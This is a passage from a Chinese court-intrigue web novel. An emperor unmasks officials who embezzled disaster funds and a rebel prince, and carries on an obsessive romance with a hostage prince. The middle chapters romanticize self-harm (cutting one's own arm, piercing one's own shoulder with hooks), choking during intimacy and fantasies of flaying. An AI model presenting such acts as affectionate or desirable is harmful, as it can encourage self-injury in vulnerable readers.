气氛僵持,文武百官窃窃私语。 师离忱慢悠悠地转着玉戒,“宣吧。” 太监领命,将殿外扣押着的房云哲压上金銮殿。 乐福安清咳一声:“肃静。” 殿前回归沉寂。 师离忱道:“房云哲,朱御史指认你贪墨灾银,你可认?” 威严的嗓音在殿上散开。 房云哲于晋陵府衙被抓获,一路押送上京都,手脚皆有镣铐,委实算不上整洁,只是勉强看得过去。 俊俏的脸上还有一点灰尘,他面露愤愤:“臣不认!臣不曾做过!” 说话间房云哲情绪激动,还想上前,立刻被身后两名金吾卫按压了跪回去。 旁边有武将瞧不过去,小声提醒:“房小将军,莫要再喊了,还不将实情如数报上。” 房云哲这才稍稍冷静了些,道:“臣那日巡夜,瞧见有两道黑影从帐后过去,去的是库银所放的帐子,担心军中出内贼,就跟了过去。” “去了一瞧,有两箱灾银封条被动过,便打开看了,谁知刚打开,外头就冲进来一帮人,那箱子里又全是石头,臣解释不清,只能暂且束手就擒。” 他掷地有声,愤怒道:“臣就是再畜牲,也不会去贪墨修建堤坝的赈灾灾银,还请圣上明察!” 话音落下。 朱御史责问:“焉知不是你心生歹念,自己设局好摘清自身嫌疑,还不速速交代了灾银被你藏在何处!” “……你?!”房云哲怒目圆睁,瞪着朱御史。老太师道:“好了好了,一切未有定论,先莫要吵闹,圣上还没说话。” 二人忍着气性,朝上又安静下来。 师离忱指尖在膝前有一搭没一搭的轻点,“查,当然要查,大理寺卿何在?” “臣在。”大理寺卿出列,道:“臣前些日子截获了一批商队,货品之下藏匿了部分带有印信的官银,察觉有异,便立刻调了少卿追踪,已在各路追踪到了部分官银,收监审问。” “只是这偷偷摸摸从京都送出去的官银,臣还要问一问京府通判,这银两是怎么丢的?这一大笔官银可不是小数目,大理寺却从未接到过报案!” 大理寺卿将矛头对准了京府通判。 文官末尾,京府通判吓得腿抖,跪地道:“圣上,臣一小小六品,是万万不敢做这大逆不道之事啊!” 师离忱嗤笑一声,给乐福安递了个眼色。 乐福安道:“宣监察司指挥使上殿!” 京府通判登时面色如土。 监察司指挥使带着他的证据,双手捧至头顶:“臣觐见,润州总兵私自调遣兵马妄图犯上绞杀润州州府,夺地为王,还预谋于晋陵水患鼓动灾民叛乱,镇国公携其世子已将此叛贼拿下,此乃签字画押的罪证。” 百官惊诧,此等大事,竟无一丝风声显露。 他们只听闻镇国公协助水患而离京,还有官员在背后嚼舌根,觉得此等小事调个四五品将士就能解决,选用镇国公去协助治水,怕不是要削权。 没想到是一声不吭干大事去了! 监察司指挥使字字珠玑,道:“监察司官吏从润州总兵府中暗格,搜查出与鹿亲王通信罪证,润州总兵求以功代过,指证京府通判,替换灾银,嫁祸房小将军!还望圣上查验!” 京府通判慌了,“臣……臣……” 本想着监察司立起来,总归也就查了九华寺这个大案,其余都由大理寺接手。 他总觉得是圣上为了恐吓他们所立,这时间一久,没人出事,鹿亲王又几次三番鼓动,他才动了心思。 没想到一举一动,皆在旁人耳目之下。 同样的,百官后背也惊出一身冷汗,风声才听到耳朵里,事情已然处理得七七八八。 脉络,证据,林林总总,全部一样不差。 如今拿到金銮殿上来,不过是为了一个目的—— 围剿。 是对心怀不轨之人的围剿。 这时,他们再听上首圣上那波澜不惊地声音,便格外毛骨悚然,从头寒到脚,不亚于毒蛇在颈边吐信。 先前圣上给他们那点教训,与今日比起来,不过小巫见大巫。 弹劾后宅算什么,一声不响要你命才是大事。 师离忱道:“润州总兵勾结,就地格杀,诛三族。”他慢条斯理道:“至于鹿亲王啊……且圈禁再府,容后再判。” 朝臣不认为这是圣上的仁慈,与总兵串通叛乱,已经够是诛九族的罪了,除非鹿亲王还有更大的问题没被揪出来。 “京府通判,贪墨灾银——朱御史以为,该怎么罚好?”师离忱道。 一开始指认房云哲的朱御史咳了两声,面不改色道:“按我朝律令,贪墨灾银者受剥皮枭首之刑,家眷赐烙刑,化为奴籍,流放蛮夷。” 京府通判脸色唰白,正要求饶,就被金吾卫提前捂住了嘴。 “拖下去。”师离忱摆手,轻笑道:“房小将军受苦了,给他松绑。” 众人俯首跪地,恭送圣上。 朝会上悄然乍响的惊雷,给百官们都提了个醒,圣上没有吓唬人,也没有放松对诸位的监督。 监察司,永远是圣上忠诚的耳目。 别死得不明不白。 京府通判,润州总兵,鹿亲王,都是现成的例子。 * 御书房。 乐福安进殿奉茶,朝会上险些吵起来的朱御史,房云哲,还有监察司指挥使都在殿中。 朱御史一改肃目圆睁的神情,笑呵呵地拍了拍房云哲的肩膀:“贤侄啊,委屈你了。” 房云哲道:“都是为了圣上分忧。” 不过是明知有诈,将计就计。 师离忱笑道:“晋陵灾银算算日子快到了,那边还需加派人手,你且带队过去盯着,以免出岔子。” “臣领旨。”房云哲应道。 朱御史苦着脸道:“圣上,下回能换旁人做恶人吗,御史台御史多着呢,总是臣做恶人,同僚背地都叫我‘朱背刺’,臣以为实在难听。” 师离忱哼笑道:“可朕瞧着,御史台无人能做出你这幅凶神恶煞的模样。” 朱御史生得一面络腮胡,无论站队哪一方,都会叫人觉得面目可憎。实在是个双面人的最佳好帮手。 “朱爱卿,朕倚重你啊。”师离忱感叹。 朱御史深受隆恩,嘴角情不自禁上扬,连连俯身行礼:“臣的荣幸,臣的荣幸,臣定鞠躬尽瘁。” 不过是做恶人罢了,圣上信任!做! 房云哲默不作声。 房云哲觉得朱御史被忽悠瘸了。 他抬了抬眼,看到上首御案后靠坐着。 帝王眉眼秾丽,鬓边华贵的金饰却不足帝王万分之一的夺目,一头卷曲长发散在身侧,浅弯着眼梢,仿佛边疆黄沙中开出最艳的一朵太阳花,慵懒的盛开。 步步算计,环环相扣。 如此明君。 被忽悠一下,也应该的。 …… 裴郁璟掐着点过来,恰逢御书房的臣子散去。前头一个胖乎乎的络腮胡,中间蒙面劲装暗探,这些都不重要。 裴郁璟注意力放到最后出来的,卸去了甲胄,着一席半袍半甲的青年身上。 一打眼就知道是吃过黄沙的,长得威严俊俏,哪怕此人冠发有些散乱,依旧能看出几分沙场肃杀之气。 他神情顿暗,目光锐利地锁定了对方,戾气徒生。 乐福安迎上去道:“小将军,圣上说您这些日子受委屈了,吩咐给您赐衣上药,太医在偏殿候着,且随咱家去更衣洗漱一番。” 既是押送,哪有不受伤的道理,所谓做戏半真半假,后背确实有押送期间造成的伤处。 房云哲没想到圣上连这个都知晓,还考虑到了,微微一顿道:“劳烦公公了。”心里想的是远在边疆的父亲。 难怪…… 一提圣上,父亲嘴里就没有一个坏的字眼。 突然,他察觉到一道不善的视线,房云哲瞥眼对上一双阴恻恻地眼眸,突感莫名地蹙了蹙眉。 “别理他。” 乐福安注意到了,轻嗤道:“那是南晋来的裴质子,近来圣上偏宠他,纵得他不知天高地厚了,但凡是个年轻点的过来御前,他都这幅德行。” 裴郁璟道:“公公此言差矣。” 他走近,掂量了一眼房云哲,笑得森然:“圣上养我不过养个玩意,那像眼前这位啊,可是圣上看重的得力将军。” 房云哲道:“你有病?” 裴郁璟道:“岂敢。” 话是这么说,他却毫不退让,抬起下颌抱臂轻蔑一笑。 所谓言语上恭维,行为上挑衅,眼底暴戾在酝酿,似能将人活剐。 房云哲神色顿冷。 气氛剑拔弩张。 “二位爷,消停些吧。” 乐福安夹在中间,左看看右看看,朝旁边的福生使了个眼色,赶紧先把房云哲拉走换药。 御书房内传来师离忱不耐的声音,“裴郁璟,你那话叫给谁听的?还愣着,滚进来!” …… 瞧着裴郁璟阴着一张脸进殿。师离忱招手唤他过来,掐着他的脸颊问,“好端端的,谁又惹你了?” 裴郁璟扣住师离忱的手腕,低声道:“圣上。” “圣上是不是只会有我?”他问,“不会有别人了对不对?” 师离忱一笑,收回了手,摸了摸他的头。 “别傻了。”师离忱笑容温柔,指腹狎昵地在他喉骨处的咬痕擦过,声音语调难辨喜怒,“朕疼一疼你,可别恃宠而骄。” 原本裴郁璟周身气息平静,听到这话,他眼中默然全被肆意疯长的疯狂冲破,野兽冲破牢笼,露出尖锐的獠牙。 “我恃宠而骄?”他几乎是咬着牙质问,神情晦暗阴沉,眼底全然是薄怒与狂热的占有,“你明明就喜欢我,你摸摸。” 师离忱感受着手指下方,属于成熟男性胸肌的有力,歪了歪头看着裴郁璟因愤怒绷紧的下颌,微微挑眉。 裴郁璟眼睛红了,“你不能这样,有了我就不能招惹别人。” 师离忱道:“你又哭。” 裴郁璟沉着气,牢牢注视着师离忱,仿佛要让自身的影子将面前的帝王吞没。 最终发狠地揽住师离忱腰心,将人揽进怀中,发狠地咬住圣上那双能说出诛心之言的唇瓣。 吻得很有戾气。 师离忱咬了回去,捏着裴郁璟下巴,抬头看了看道:“……真哭了?” 裴郁璟周身气息暴戾,一言不发,按着师离忱后颈继续吻了下去。师离忱不适应这种被人掌控的感觉,不愉拧眉,偏头躲开了裴郁璟。 “啪。”一巴掌赏过去。 他斥道:“放肆!” 裴郁璟笑了,一边笑一边强硬地把师离忱的头掰过来,继续叼住他的唇,撬开齿关交缠在一起,嗓音低哑道:“圣上,你把我打起反应了。” 话里话外一股匪气。师离忱气着了,去摸御案上的茶盏,陡然砸碎在地。 …… 裴郁璟被压着跪在地上,神情阴冷桀骜,那股子戾气还没收回去,眼神宛若黑夜里将要食人的恶狼。 “朕招惹谁了?” 师离忱用帕子擦着被咬破皮的唇,实在想不通裴郁璟突然发疯的原因,怒火中烧帕子揉成团砸在裴郁璟脸上,“今天你不说清楚发的哪门子疯,朕就叫人把你丢出皇宫!” 乐福安心疼地拿着药膏过来,“老奴这才离开一会儿……这厮真是祸害啊祸害!大祸害!” 裴郁璟心口堵着一口气,先前是嫉妒,后头纯纯是被小皇帝的话刺激的……什么叫恃宠而骄?! 小皇帝还不肯正面承诺,他现在一句话也不想说。 再者南晋那边又有消息过来,南晋帝醒了贼心不死,盘算着递国信,要送个公主过来联姻。 他还没把小皇帝勾得神魂颠倒,万一小皇帝不要他的怎么办? 师离忱揉着眉心,只见裴郁璟还眼巴巴盯着他,默不作声间,一双戾气横生的眼里掉下两颗眼泪。 “……” 被一圈金吾卫拿箭指着。射。都不掉眼泪,被他弄哭了两回。 师离忱忽然觉得。 裴郁璟或许真有天大的委屈。 算了。 第70章 屏退众人。 殿中只剩二人。 师离忱俯身点了点裴郁璟脸上的泪珠,“哭得挺像一回事,不知道的还以为朕让你受了多大气……还有,你在门前嚷那几句,哪里是说房云哲,分明是说给朕的,做朕的小宠委屈你了?” 裴郁璟道:“圣上让他在偏殿上药换衣服,还关心他,我不高兴。”他垂首,轻声道:“……我一开始都没这待遇。” 师离忱道:“房小将军是朕的肱股之臣。” 说话间,他居高临下地审视起面前的裴郁璟,神色不清,只能看到那张俊美的脸上划过的一行泪,和疑似在抽泣轻抖的肩膀。 实在是—— 太假了。 但胜在好看。 师离忱捻了捻指腹的泪珠,唇边噙笑,“哭够了吗?朕在想,这算不算是鳄鱼的眼泪?” 呀。 被发现了。 裴郁璟咬住舌尖,终是忍不住低低笑出了声,笑声在殿内响起,带着一股子难以言喻的兴奋。 天知道他忍得有多辛苦。 忍到这一刻被小皇帝戳穿,激得他浑身战栗,灵魂苏骨。 高大的身影站了起来,扑倒了面前的天子,用大掌桎梏了纤细脆弱的脖颈,倾身让高挺的鼻梁顶在圣上后颈的软弱,深深嗅了一口,用犬牙烙下牙印。 “我们是一样的。” 他沉浸在兴奋当中,看着师离忱因有些缺氧泛起潮。红的脸颊,眼中露出向往与痴迷。 瞧瞧…… 这头狼犬根本没有完全臣服,只不过学会了伪装披上了人样,真当自己是人了。 藏得多深啊,直到又一次被他戳穿了面目,便再也掩饰不住那偏执狂热,妄图得到一样的共振。 师离忱笑了。 同样,窒息感的袭来,让他也兴奋了。 他颤动着手,扣压在裴郁璟后颈,笑得一脸疯狂,“说得对,我们是一样的!” 隔着衣物,手指脊骨一寸寸摸下去,“把你的骨头给朕好不好?你的身躯,是朕见过最漂亮的,用白骨做灯,挂在御前陪朕,也算是永不分离……呃!” 说到动情时,脖间力道收紧,师离忱半阖着眼,双唇微张着汲取空气,眼底酝酿地热切愈发疯狂。 瞳孔振动地看着裴郁璟,似乎已经看到将其皮拆骨的一幕,眼尾一抹由兴奋带来的红晕,胸腔剧烈起伏。 病态的,痴狂的。 “你看,我说的,你喜欢我。” 裴郁璟非但不觉得恐怖,反倒笑得更盛了,拿住师离忱脖颈的手松了松,他舔去师离忱眼角不自觉溢出的泪,眼看着师离忱脖颈后仰着大口喘气,他振奋到呼吸剧烈,心底压抑的偏执破土,疯狂冲破了阴翳。 “我会很乖很乖,所以圣上,不能再养别的小宠。” 裴郁璟抽出匕首,挑断了师离忱腰间玉带,又抽出自身的革带,让上身完全赤。裸在外。 他一面拿着师离忱的手掌,按在这具精美的躯体上,让师离忱感受着腹部肌肉的勃发感。 一面又将刀柄塞在了师离忱手里,让刀尖对准自己的胸腔,声音暗哑道:“刨开我的血肉,抽出我的骨架。” 粗粝的指腹划过师离忱颈侧冷白的肌肤。看着皮下青紫血脉涌动,他眼底全是压抑的狂热,低笑着道:“然后你做皮面,我做灯骨,一定相配。” 这话听着多让人心动啊。 师离忱握实了刀柄,让冰冷的刀刃刮过那肌理分明的躯体,看着手底下这幅身躯轻轻战栗,他得很是快意。 “朕应你。” 师离忱笑容盛放,宛若荼蘼之花叫人错不开目,他真是爱极了裴郁璟这幅撕去面具的模样,多有魅力,眼里全是侵占的欲。望。 似是恨不得与他融为一体。 这股疯劲不含任何其他的,别的意思,就是单纯的想和他融为一体,盯得师离忱骨头都酥了。 师离忱有些难以自控,情绪上涌,干脆拿着匕首在小臂上划了两道,有血腥味的刺激总算能勉强压下一点大脑的颤动。 他大口喘着气,脸却因为兴奋变得更加红润,仿佛感觉不到疼痛,他将流下来的鲜血涂抹在裴郁璟脸上,心满意足的笑了。 让这血污,为这俊美病态的神情增添一份野性。 裴郁璟喉结滚着,捉住师离忱的手腕,极力克制着没去舔手指,低头亲了亲小臂上的伤口,血染到唇上。 真好看。 师离忱舔了舔唇,放下了刀,捧着裴郁璟的脸轻轻抚摸了一下,随后按在他压着后颈,狠狠吻了上去。 胸腔情绪汹涌,无法自拔。 ……好喜欢。 好喜欢! 好喜欢!! 朕选出来的! 最完美的! 作品! 师离忱能感受到心在剧烈的跳,他迫切地压着裴郁璟的后脑,丢开他那碍事的发带,手指穿进发间,撬开他的唇,带着灵魂的振动一起吻进去。 沉浸着大口嗜咬着,感受着裴郁璟一样疯狂的回应,沉沉闭眼让二人的灵魂与身躯与血一同融化,从汹。涌到缠。绵。 真的。 好喜欢啊! * 狂热的气氛逐渐冷静。 裴郁璟搂着师离忱,没忍住舔干净他的每一根手指,被嫌弃后不情不愿的从水盆沾湿了帕子又重新擦一遍。 然后悉心上药,眼下已经止住了血,白皙纤长的小臂两道刀痕格外突兀,宛若一件精美玉器裂纹破坏了美感,却又有点诡谲的漂亮。 哪怕是自伤,帝王也不曾手下留情,伤口狰狞得可怕,上完药后被白纱一层层裹起来。 师离忱被血味刺激得兴奋,也因这伤痕热情高涨,最后克制着回归平静,那把匕首也静静躺在一旁,不再被拿起。 没有系统掣肘。 是他自己不想。 他忽然舍不得,把裴郁璟开膛破肚剔骨。 吻一具鲜活炙热的躯体,和吻一滩冷冰冰的白骨,其实他都喜欢,躯体可以变白骨,白骨可变不了躯体。 所以他舍不得。 而裴郁璟又披上了那层人皮,包完伤口,在师离忱腕骨上轻咬了一口,眼神虎视眈眈的看着师离忱,那股疯狂还未完全散去,阴鸷渗人。 他仍然很想很想。 与师离忱融为一体。 我为灯骨,你为灯皮,长明与案,永不分离。 他像是圈地盘的野兽,搂住了师离忱,仿佛要将人刻入骨髓,眸光涌动着偏执暗色。 “这世间,唯有我们最般配。”他呢喃道,“你只要我,圣上,你只能要我。” 对上裴郁璟执拗的目光,师离忱顿了顿,揪着他的头发,一言不发地吻了上去。刹那间那股戾气散了大半。 …… 传膳的时候,乐福安闻到殿内的血腥味,以及榻上的刀,瞬息察觉到不对,顾不得许多拉开圣上的衣袖,就见已经包好的伤处。 “祸害!祸害!”他骂骂咧咧,“你这该死的南晋人,你到底对圣上做了什么?你说说看啊!” 裴郁璟试图做出一个人畜无害的笑。 可惜了,眼底沉甸甸的戾气让他注定无法摆出无害的姿态,哪怕是抬头看人,也像在看垃圾。 乐福安面目扭曲,一边命人将膳食摆好,一边抹着眼泪和师离忱哭诉:“圣上啊他到底给您灌了什么迷魂汤……” “是朕自己伤的。”师离忱心情不错,道,“好了,再添双碗筷。”说着朝裴郁璟勾了勾手。 听闻师离忱是自伤,乐福安一下闭了嘴,神情变换几番,叹了一气命人再呈一双新的碗筷过来。 * 晋陵州府。 一批灾银被运押过来,送进府衙存放库银的仓库。 镇国公镇压完毕润州兵马,接到京都圣旨,先监压了润州总兵,这会儿要往怀阳州府走,顺道把灾银一并送过来。 拍了拍吃饱喝足的马儿,翻身上马之际,柳清宁追了出来,俯首道:“国公且留步。” “莫急,何事?”镇国公道。 柳清宁迟疑道:“下官想问一问,房小将军上京都之后,情况如何了?京都迟迟无信传回,下官心绪难安。” 晋陵水患让消息传递变得困难,旁的地方或许今日能收到的消息,在晋陵最快也要再等上三四日。 镇国公大笑道:“柳学士放心,过两天房小将就回来了,已查明真相,房将军无罪。” “那便好。”柳清宁退后一步,拘礼道,“国公爷慢走。” 镇国公摆摆手,勒马驱离。 穆子秋并不跟随其左右,他带着调令,先行一步去往怀阳州府,鹿亲王养着的那几万私兵,未必会如润州那般好策反。 …… 柳清宁回去,见卫珩一在调查官册账目,眉目紧缩,问道:“……怎么了?” “没事。”卫珩一摇头,但眉头还是没松开,“每一笔账目都合规,但我总觉得有问题,大人瞧瞧。” 他将账目递给柳清宁。 柳清宁看了几眼,神色陡然凝重,“账目确实没问题,但是这墨迹……”他翻了几页,确认道,“后头这几页,太新了。” 平常人肉眼一看,并不能看出分别。 偏偏这回拨来的两位,一个是内阁学士,在翰林院呆了好几年,一个是珍视墨宝,一张纸能练好几回策论的探花郎。 他们对笔墨处理实在太过熟悉,柳清宁又有这方面经验,看出墨迹边角有不寻常的做旧处理。 可断定。 此乃阴阳账簿。 水患是今年有的,往年有拨款修建堤坝,水势过大,还有山洪,若是正常修建堤坝被冲垮了也就罢了。 可若是往年并未尽心,甚至削减改换堤坝建材,官吏从中盘扣银两账目作假,今年的大水又是几年难得一见,堤坝被冲垮也不能全然怪罪到地方州府身上,再做个阴阳账目瞒天过海…… “简直无法无天!” 账簿拍在桌上,柳清宁沉了面色。 卫珩一闭目深吸,总算明白,春闱前圣上曾与他说,京都繁华,京都之外未必究竟是何意。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 灾区奏报一一梳理上呈天听。 师离忱收到了柳清宁与卫珩一送上的请罪折。 涉贪官吏几十人,查明真相与当地公示后,诡辩者当街斩杀。 其中卫珩一在调查堤坝贪腐时,曾被多番阻挠为难,真相刚明,他怒及之下,抽出身侧侍从宝剑,连斩两名涉事官吏。 文人动刀,气狠了。 事后冷静下来,自觉冲动,上书请罪。 这在师离忱眼中并不是罪,甚至在看到‘斩贪腐官吏’五个字时,嘴角的笑意加深了许多。 平定水患,查抄地方贪腐,这是功绩,不是罪。 既上了请罪折,便是文人心有不安,他提起朱笔,在折子上批注几字,好叫他们安心。 忽感腿上一沉,师离忱低眼睨去,腿上枕了个脑袋。也亏这龙椅宽大,御案下的空间足够,不然也塞不下这么个人高马大。 裴郁璟还嫌不够,注意到师离忱的视线,他才心满意足地埋头深深嗅一口,隔着衣摆都能感觉到他灼热的呼吸。 “皮痒了?” 师离忱笑了笑,手伸向裴郁璟后肩,按了按。 那日他自伤过后,裴郁璟用膳后恍惚了半日,不知从哪里找了两个铁钩,大半夜跑到他床头站着,握着他的手,强行把肩膀穿了个洞,嘴里念念有词什么‘要伤一起伤’还问‘开不开心’…… 大半夜的闹妖? 然后要穿第二个洞的时候,被困顿中的师离忱扇了几巴掌,才从癫狂的状态清醒过来。 这伤口可比之前的箭伤狰狞多了。 裴郁璟下死手,从后背穿透到胸膛,要不是师离忱醒得快,没让他穿第二个,他还打算两边穿透挂在师离忱寝殿床头挂一晚上。 因着这事,师离忱又刺激,又兴奋,想打个笼子把裴郁璟关起来一个人欣赏,这人哪怕身躯上的每一道疤都让他格外喜欢。 事后又觉得心烦,后果就是有事没事就在裴郁璟后背伤口戳两下,然后再戳自己两下。 疼痛让他浑身战栗,苍白的脸上泛起红润光泽。师离忱心情好了点,“朕给你起个名吧。” “还是弄我吧。”裴郁璟的注意力却在师离忱的手上,眼见他去戳小臂的伤,赶紧捞着师离忱的手腕,放在肩背的伤处,“我皮糙肉厚的,哪怕身上再穿几个孔都能养好。” 可小皇帝不一样。 矜贵的陛下肤白透红,像剥了壳的荔枝,好似能掐出水来,隔一会儿就使劲去戳那伤口都不知几时才能好。 他觉得皇帝这个习惯不好,还有些惶恐,他倾向于和帝王刻骨一处,永不分离。但不想见帝王平淡自毁,珍珠粉碎。 于是裴郁璟琢磨了半天。 想出了个办法。 避开致命位置,在自己身上穿两个窟窿,圣上喜欢戳伤口就往他身上戳,没有伤他就弄个伤出来让他戳。 果然奏效。 师离忱自伤频率降低了,只是偶尔按过他的伤处之后,也会按一按自己小臂上的伤痕。 只要阻挠得够快,就不会重新裂开。 再说了小皇帝很喜欢他颈骨,只要拿着师离忱的指腹放上去磨一磨,自然就不会在想其他。 …… 师离忱沉浸在思绪当中,没注意裴郁璟的小心思。 砚中朱砂,在纸上跃然成字。 ——九苍。 他把这个字,拿给裴郁璟看,“裴郁璟到底是别人的名字,仇苍又不方便叫,以后朕就叫你九苍。” 裴郁璟看了那两个字良久,笑道:“好啊。” 他说,“圣上,我想……”他直勾勾地盯着师离忱的唇,师离忱挑眉在唇下点了点,大方道:“来。” * 自从得名九苍,裴郁璟走路都带风,黏师离忱黏得更厉害了。乐福安简直没眼看,可瞧着圣上如此开怀,他也就罢了。 天气逐渐炎热。 师离忱身上的衣物减去几件,便衬得身姿愈发修长单薄,有时候裴郁璟会在他身后用手丈量,算着是不是比前几日又瘦削了些。 不过大部分时候师离忱都懒得动,“九苍”来,“九苍”去的使唤。 夏日来了,师离忱胃口也更差了。 除了冰的东西其他都吃不下去,顾忌着身体安康,乐福安绝不可能让圣上多吃,裴郁璟盯得就更严了。 上回师离忱多喝了两碗冰甜汤,瞬间模糊了意识昏睡过去。 太医令去了南庙还没赶回来,太医署的太医轮流给圣上看诊,每一个都顶着裴郁璟阴沉沉的目光,明明什么也没说,却叫人汗流浃背。 好在没什么大问题。 只是贪凉。 眼看着日头一日比一日毒辣,师离忱今年却不打算去行宫避暑。 一则是水患刚过不可太过骄奢;二则是,师离忱野心膨胀,时时关注着鞑靼与南晋的消息,盘算起战时机;三则是要处理鹿亲王。 此番镇压润州叛乱,镇国公与穆子秋一同去围剿怀阳私兵。 鹿亲王被圈禁府中,但留了后手,哪怕是朝廷派兵招降,三万私兵的首领仍旧不肯招降。 三万乍一听并不多,可若加上怀阳本地兵马,可直接称王。 只是这帮私兵,心智并不坚定。 首领不肯招降,底下有刚入队的小兵动摇了念头,这种念头在被镇国公围困山谷粮食断绝之后,更胜一筹。 有人偷偷弃了兵器逃往镇国公的队中,成了俘虏,但好歹能吃饱了。 有一人,就有一队。 人心散了,难再聚齐。 最后听说是穆子秋百步穿杨,一箭飞洞穿了那贼首的咽喉,将其射杀,与山谷呼吁私兵众人,弃暗投明,既往不咎。 以最低的伤亡,压下此次反叛。 …… 水患平息,叛乱平息,几人回京后按例论功行赏。师离忱下了圣旨,赐下锦缎珍宝。 晋陵之事处理得恰当,另外又在朝会上给柳清宁与卫珩一记上一功。 鹿亲王,师离忱原是要弄死他的。临到头了朝会宣听,他高举着免死金牌上殿,声称高祖帝所赐。 太师查验,确认道:“圣上,确实是高祖皇帝御赐免死。” 高祖皇帝年迈得子,私下给个金牌也不足为奇。师离忱笑了两声,金銮殿上这两声笑意味不明,让百官心底发慌。 很简单,他觉得鹿亲王太天真。 拿个破牌子妄图借名施压?是觉得金銮殿前的血铺得不够厚吗?也有不怕死的老古板,跪地以高祖帝之名,为鹿亲王求情。 “鹿亲王所行桩桩件件,是为谋朝篡位的乱党,爱卿为他说话,可是与其有所往来?” 师离忱只淡淡说了这么一句,懂事的已然闭嘴叩首。 再开口,那就得沾上诛九族的罪。圣上给台阶就下吧,孤家寡人不怕,但别拿族谱上的人命开玩笑。 当然。 鹿亲王敢拿个破牌子过来晃,让他很不高兴。师离忱一直觉得自己是个斯文人,所以通常都会给人一个痛快。 可鹿亲王让他不痛快了,他也只好让鹿亲王不痛快。 不是免死吗? 免。 死罪免了,活罪就受吧。 他心善,鹿亲王妃与其家族并不知晓内情也未牵连其中,便给了王妃一个合离归家的机会,其子若想带走,需改名改姓,不得再算作皇室宗族一脉。 再将鹿亲王断了四肢经脉,幽禁府中,留两个聋哑小厮给他送饭,不会短他一日三餐,但要和以前一样满桌珍馐是不可能,给点野菜苦菜就过去了。 也不许他自缢自绝。 活吧。 有本事就活得久一点。 * 卫珩一回京后开始接触大理寺事宜,经过此次历练,见识了百姓疾苦,他身上气息沉淀了许多。 清风朗月,不卑不亢,近来频繁出入御书房商谈地方贪墨监管惩处之事。 一切都在往好的方向发展。 师离忱翻阅大理寺上报奏疏,近来又抓捕了几名南晋暗探,内斗得厉害,却还照样不安分。 吞并疆域并非一朝一夕可行。 思索间。 乐福安笑眯眯地来报:“圣上!逸王回京了!就快到殿前了。” 这会儿正在用膳。 裴郁璟刚捻着一块挑完刺的鱼肉放到师离忱碗中,见师离忱眸中含笑,顿时心生警惕。 “皇兄!” 未见其人,先听其声。 师离忱起身笑看来人,对乐福安道:“你瞧瞧,他还知道回来呢。” 俊朗少年跨入殿中,身量颀长,眸光熠熠:“那是自然,皇兄在京都,臣弟哪有不回来的道理!” 说话间他扑到师离忱怀中,就如往年一样,“臣弟想皇兄了。” “哎哟八殿下,不合规矩!!”乐福安赶紧阻拦,手忙脚乱把人扒拉出来,招手叫宫人搬来太师椅。 圣上与八殿下关系好是好,可有些礼节还是要的。 一旁。 裴郁璟笑容阴恻恻地盯着抱完分离的二人,手里轻声“咯嘣”,象牙箸悄然在掌中断成两节。 哈! 眼底全然是阴暗凶光。 …… 师旭脊背无端凉了一瞬,注意到膳桌旁还坐着个人,稀奇,“皇兄,这位是……” 裴郁璟端着汤,羹匙舀起放温的汤,送到师离忱嘴边喂一口,对师旭皮笑肉不笑道:“你皇嫂。” “……” 师旭久离京中,不知内情,且外头没有半点风声,哪怕有风声也是南晋质子在京都如何如何—— 闻言,眼神茫然地看向师离忱,寻求答案。 师离忱咽下汤,哼笑着扫了眼裴郁璟,道:“对,你皇嫂。” 乐福安在旁边猛咳。 有情况是一回事,亲口承认是另一回事。 师离忱的回应,让裴郁璟瞬间如沐春风,笑容中多了几分真诚,与师旭道:“八弟安好。” 那暗中得意的样,让师离忱忍不住悄悄踢他一脚。 与之相比。 师旭的笑便有些勉强了,“原来如此。”他沉了沉气息,转移话题道,“臣弟在外游历近一年,也不是完全没有收获。” 说话间他拿出一份皮卷,由乐福安转交给了师离忱。师离忱打开扫看几眼,眸光微动,“你画的?” “对。”师旭道,“臣弟细化了舆图,扮做商人去鞑靼闲逛时,发觉不对,便去津阳周边州府逛了一圈,还去了商贸地方,发现有鞑靼士兵扮做商人混入其中,臣弟怕有异像,就先带着舆图回来了。” 师离忱意味深长地喔了一声,瞥一眼裴郁璟,“朕知道了。”又问,“江南风景怎么样?” 裴郁璟专心致志挑鱼刺。 师旭并未察觉气氛异样,道:“山清水秀,极美的。” 随后兄弟二人叙话片刻,乐福安笑吟吟的把人送出去,到底是上了年纪的宫中老人,眼色极利,一边送走逸王,一边清退殿内宫人。 殿中寂静无声。 香案袅袅。 裴郁璟把挑好刺的鱼肉放在师离忱碗中,踢开身后的凳子,衣摆一撩笔直地跪在师离忱身侧。 师离忱嚼着鲜嫩的鱼肉,敛眸一言不发。 直到咽下这口鱼。 才不紧不慢道:“朕还什么都没说呢。” “先跪总没错。”裴郁璟人跪着,脊背挺着,把宽肩窄腰体现得淋漓尽致,重重笑了一声,“等圣上来问就晚了,我的就是你的,无有不可说。” 再说了,那眼神他熟。 每回皇帝想扇他之前都是那种温和带刺的眼神,单单一眼就足以让他心中酥麻一片,巴不得把脸凑过去。 师离忱被他逗笑了,心里那股气散了,浅笑道:“那你交代吧。” 鞑靼士兵扮做商人混迹贸易中,确实不是件小事。不过鞑靼人样貌特殊,因地势阳光皮肤黝黑毛发粗犷是一方面。 面相与中原人也有差别,且鞑靼士兵武器特别,月商近战武器多用双刃剑或环首刀,或者长枪。 而鞑靼更偏向于短刃弯刀,在手腕上做个扣,双臂成刀,独特的武器让他们茧子与月商士兵不同,手腕与手臂粗糙,茧子厚实。 只要撩起衣袖,就能看出问题。 裴郁璟道:“还记得之前的那批毒粮吗?三大部抢了津阳粮仓,后来我借着南晋的名头送去了几车,听说毒倒了三四个主将,几千个士兵。” 师离忱眸色深了深道:“朕怎么没听到风声?” 裴郁璟笑道,“出了这么大的事,鞑靼三部不敢宣扬,不过是记恨上了……他们觉得津阳粮仓出来的粮食,总不能是月商自己下毒吧,就怀疑到了南晋帝在鞑靼安插了内应,怕南晋反扑,这才停战,对外封锁了消息,非鞑靼内部不可得知。” 裴郁璟的声线很好听,叙述时候宛若潺潺泉音,低沉悦耳,带着少许磁性。师离忱愉悦地眯起双眸,“还有呢?” 裴郁璟道:“鞑靼贪婪,三大部想先吞南晋,再打月商。便想出从月商的商户处骗取物品。以定金骗取货物,僻静处杀人,东西则堆起来以商人身份运出去。” “前两日有人给我传了信,他们骗到了秋家头上。”他慢条斯理道,“鞑靼合盟并非坚不可摧……若是你有我没有,还不愿分享,嫉妒眼红,起个内讧,也不是什么难见的事。” “喔?” 师离忱含情脉脉地看着他,“所以,你派人过去了?” 